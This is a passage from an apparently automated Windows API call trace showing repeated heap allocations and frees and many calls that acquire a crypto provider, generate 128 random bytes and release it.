	[0031.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.009] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.009] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.009] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.009] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.009] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.009] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.009] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.009] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.009] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bacb8 | out: hHeap=0x580000) returned 1
	[0031.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ba970 | out: hHeap=0x580000) returned 1
	[0031.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baa88 | out: hHeap=0x580000) returned 1
	[0031.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5baba0 | out: hHeap=0x580000) returned 1
	[0031.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x58efc0 | out: hHeap=0x580000) returned 1
	[0031.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596f48 | out: hHeap=0x580000) returned 1
	[0031.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ba730 | out: hHeap=0x580000) returned 1
	[0031.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b6c38 | out: hHeap=0x580000) returned 1
	[0031.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b9168 | out: hHeap=0x580000) returned 1
	[0031.009] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ba858 | out: hHeap=0x580000) returned 1
	[0031.009] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.010] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.010] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.010] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.011] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.011] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.011] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.012] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.012] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.012] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.013] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.013] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.013] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.014] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.014] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.023] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.023] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.023] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.024] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.024] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.024] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.024] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.025] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.025] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.025] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.026] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.026] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.026] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.027] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.027] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.027] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.028] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.028] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.028] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.028] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.028] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.028] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.029] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.029] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.030] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.030] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.030] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.030] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.031] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.031] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.031] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.032] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.032] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.032] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.033] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.033] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.033] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.033] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.033] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.034] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.034] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.034] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.034] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.035] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.035] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.035] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.036] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.036] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.036] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.037] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.037] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.037] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.038] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.038] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.038] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.038] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.039] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.039] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.039] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.039] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.039] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.040] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.040] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.040] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.041] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.041] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.041] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.042] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.042] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.042] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.042] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.042] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.043] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.043] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.043] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.043] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.044] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.044] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.044] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.048] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.048] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.048] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.049] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.049] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.049] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.049] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.049] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.050] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.050] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.050] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.050] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.051] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.051] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.051] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.052] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.052] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.052] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.053] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.053] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.053] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5ba730) returned 1
	[0031.054] CryptGenRandom (in: hProv=0x5ba730, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0031.054] CryptReleaseContext (hProv=0x5ba730, dwFlags=0x0) returned 1
	[0031.054] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x596f48
	[0031.054] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5ba730
	[0031.054] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5ba7b8
	[0031.054] CryptAcquireContextW (in: phProv=0x39d41c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d41c*=0x5b6c38) returned 1
	[0031.055] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d430 | out: pbBuffer=0x39d430) returned 1
	[0031.055] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0031.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b9168
	[0031.055] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ba7b8 | out: hHeap=0x580000) returned 1
	[0031.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b90d8
	[0031.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x108) returned 0x5ba858
	[0031.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x4) returned 0x596fd0
	[0031.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baba0
	[0031.055] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5baa88
	[0031.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5ba7b8
	[0031.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10c) returned 0x5b6c38
	[0031.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xc) returned 0x58efc0
	[0031.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x84) returned 0x5b99d8
	[0031.055] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ba7b8 | out: hHeap=0x580000) returned 1
	[0031.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5ba970
	[0031.055] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b99d8 | out: hHeap=0x580000) returned 1
	[0031.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fe0
	[0031.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xc) returned 0x58efd8
	[0031.055] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.055] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fe0 | out: hHeap=0x580000) returned 1
	[0031.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x88) returned 0x5b99d8
	[0031.055] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x58efd8 | out: hHeap=0x580000) returned 1
	[0031.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5bacb8
	[0031.055] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b99d8 | out: hHeap=0x580000) returned 1
	[0031.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.055] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.055] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.055] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.055] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.055] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.056] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.056] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.056] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.056] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.056] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.056] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.056] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.056] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.056] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.056] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.056] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.056] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.056] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.056] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.056] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.056] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.056] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.056] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.056] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
	[0031.056] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x596fd0 | out: hHeap=0x580000) returned 1
	[0031.056] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x596fd0
